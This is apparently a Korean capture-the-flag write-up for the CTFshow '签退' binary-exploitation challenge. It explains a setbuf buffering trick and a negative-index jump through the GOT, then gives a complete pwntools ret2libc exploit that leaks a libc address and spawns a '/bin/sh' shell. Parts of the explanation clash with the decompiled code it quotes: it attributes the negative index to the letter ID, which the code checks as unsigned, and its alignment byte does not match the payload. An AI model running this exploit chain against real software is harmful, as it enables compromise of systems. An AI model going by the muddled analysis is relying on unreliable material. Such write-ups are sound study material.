1. 배경 원리
setbuf 함수는 다음과 같이 정의됩니다:
#include <stdio.h>
void setbuf(FILE *stream, char *buffer);
두 개의 인자를 받습니다:
- stream: FILE 구조체 포인터로, 버퍼를 설정할 스트림(stdin, stdout 등)을 지정합니다.
- buffer: 버퍼로 사용될 문자 배열 포인터. NULL로 설정하면 버퍼링이 해제됩니다.
이 함수는 파일 스트림과 메모리 버퍼를 연결하여, 파일에 대한 쓰기 작업 시 동시에 버퍼에도 데이터가 기록되도록 합니다. 중요한 점은 이 동작이 연속적(누적적)으로 일어난다는 것입니다. 즉, 첫 번째 쓰기에서 n바이트, 두 번째 쓰기에서 또 n바이트를 쓰면, 버퍼가 해제되기 전까지 총 2n바이트가 버퍼에 기록됩니다.
이 특성을 이용하면, 각각 오버플로우가 발생하지 않는 두 개의 연산을 조합하여 하나의 버퍼에서 오버플로우를 유발할 수 있습니다. 이 기법은 특수한 조건이 필요하지만, 조건이 맞을 경우 매우 강력한 익스플로잇 벡터를 제공합니다.
2. 분석 대상: CTFshow "签退" 문제
취약 함수
int vuln()
{
int v0; // eax
FILE *stream; // [esp+Ch] [ebp-53Ch]
int v3; // [esp+10h] [ebp-538h]
_BYTE v4[1328]; // [esp+18h] [ebp-530h] BYREF
v3 = 0;
memset(v4, 0, 0x528u);
stream = fopen("/dev/null", "a");
if ( !stream ) wrong();
startcon();
sleep(2u);
while ( !v3 ) {
choice();
v0 = inputint();
if ( v0 == 2 ) delete((int)v4);
else if ( v0 > 2 ) {
if ( v0 == 3 ) post((int)v4, stream);
else if ( v0 == 4 ) v3 = 1;
}
else if ( v0 == 1 ) add(v4);
}
puts("Thank you for using our service :)");
fclose(stream);
return 0;
}
핵심 함수들
int __cdecl add(int a1)
{
for ( int i = 0; i <= 4 && *(_DWORD *)(264 * i + a1); ++i );
if ( i == 5 ) return puts("Too many letters :P");
printf("\nInput your contents: ");
*(_DWORD *)(264 * i + a1 + 4) = sub_80486D9(264 * i + a1 + 8, 256);
*(_DWORD *)(264 * i + a1) = 1;
return puts("\nDone!");
}
int __cdecl delete(int a1)
{
unsigned int v2;
puts("\nWhich letter do you want to delete?");
printf("ID (0-%d): ", 4);
v2 = inputint();
if ( v2 > 4 || !*(_DWORD *)(264 * v2 + a1) )
return puts("Invalid ID.");
*(_DWORD *)(264 * v2 + a1) = 0;
*(_DWORD *)(264 * v2 + a1 + 4) = 0;
memset((void *)(264 * v2 + a1 + 8), 0, 0x100u);
return puts("\nDone!");
}
int __cdecl post(int a1, FILE *s)
{
int v3;
unsigned int v4;
puts("\nWhich letter do you want to post?");
printf("ID (0-%d): ", 4);
v4 = inputint();
if ( v4 > 4 || !*(_DWORD *)(264 * v4 + a1) )
return puts("Invalid ID.");
puts("\nWhich filter do you want to apply?");
sub_80488F8();
v3 = inputint();
if ( v3 > 2 ) return puts("Invalid filter.");
funcs_8048BB5[v3](s, (void *)(264 * v4 + a1 + 8), *(_DWORD *)(264 * v4 + a1 + 4));
return puts("\nDone!");
}
분석 결과
- add: 최대 5개의 letter 버퍼를 생성하며, 각각의 실제 데이터 영역은 0x100 바이트입니다.
- post: letter 인덱스 검증이 부족하여 음수 인덱스로 접근이 가능합니다(하향 오버플로우).
- 필터 함수 배열 (
funcs_8048BB5)은 .got.plt 영역 바로 앞에 위치하며, post에서 음수 인덱스를 사용하면 GOT 엔트리에 접근할 수 있습니다.
특히 setbuf의 GOT 주소가 이 배열과 가까운 곳에 있습니다. post 함수에 -15 인덱스를 전달하면 funcs_8048BB5[-15]이 setbuf의 GOT 값을 읽게 됩니다. 이 값을 이용하여 setbuf 함수를 스트림 작업의 필터로 호출할 수 있습니다.
3. 공격 전략
- 5개의 letter를 모두 add로 할당합니다.
- letter 0과 letter 1에 페이로드를 씁니다:
- letter 0: 0x100 바이트의 패딩 ('a')
- letter 1: 0xc 바이트 패딩 + ret2libc 체인
- post(4, -15) 호출 → letter 4의 데이터를
setbuf함수로 전달합니다. - 이제
setbuf(stream, letter4의 데이터)가 실행됩니다. 여기서 letter4의 데이터는 letter 0 + letter 1이 합쳐진 0x10c 바이트입니다. - 이 작업은
fopen("/dev/null", "a")로 열린 파일 스트림에 대해 버퍼를 설정하는 것으로, letter 0과 1에 기록된 내용이 스택 버퍼에 복사되면서 오버플로우가 발생합니다. - 스택 레이아웃에 따라 letter 1의 페이로드가 리턴 주소를 덮어씁니다.
스택 오버플로우 정확성을 위해, 페이로드 끝에 추가 바이트 1개('\x00')를 더해 정확한 주소 정렬을 맞춥니다.
4. 최종 익스플로잇 코드
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048bd0
def add(content):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', content)
def delete(index):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b':', str(index).encode())
def post(index, filter):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', str(index).encode())
p.sendlineafter(b'>', str(filter).encode())
def quit_():
p.sendlineafter(b'>', b'4')
# 1단계: puts GOT 주소 누출
p.recvuntil(b'4. Quit')
add(b'a' * 0x100) # letter 0
payload1 = b'a' * 0xc + b'0' + p32(puts_plt) + p32(main) + p32(puts_got)
add(payload1) # letter 1
add(b'\x00') # letter 2
add(b'\x00') # letter 3
add(b'\x00') # letter 4
post(4, -15) # setbuf로 letter4를 전달 → 오버플로우 발생
post(0, 0) # fwrite (스트림에 letter0 기록)
post(1, 0) # fwrite (스트림에 letter1 기록 → setbuf 버퍼 채움)
quit_()
p.recvuntil(b':)')
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
log.success(f"puts address: {hex(puts_addr)}")
libc_search = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc_search.dump('puts')
system_addr = libc_base + libc_search.dump('system')
binsh_addr = libc_base + libc_search.dump('str_bin_sh')
log.success(f"system: {hex(system_addr)}, binsh: {hex(binsh_addr)}")
# 2단계: system("/bin/sh") 실행
p.recvuntil(b'>')
add(b'a' * 0x100) # letter 0
payload2 = b'a' * 0xc + b'0' + p32(system_addr) + p32(0) + p32(binsh_addr)
add(payload2) # letter 1
add(b'\x00')
add(b'\x00')
add(b'\x00')
post(4, -15)
post(0, 0)
post(1, 0)
quit_()
p.interactive()
5. 핵심 포인트
- 음수 인덱스 접근: post 함수의 배열 검증 부재로 GOT 영역 참조 가능
- setbuf의 누적 버퍼링: 두 번의 fwrite 호출로 버퍼를 0x10c 바이트로 확장하여 스택 오버플로우 유발
- 정확한 정렬: ret2libc 체인 구성 시 추가 NULL 바이트로 4바이트 정렬 맞춤
- 루프 재진입: quit() 호출 후 main 함수로 재진입하여 2차 공격 가능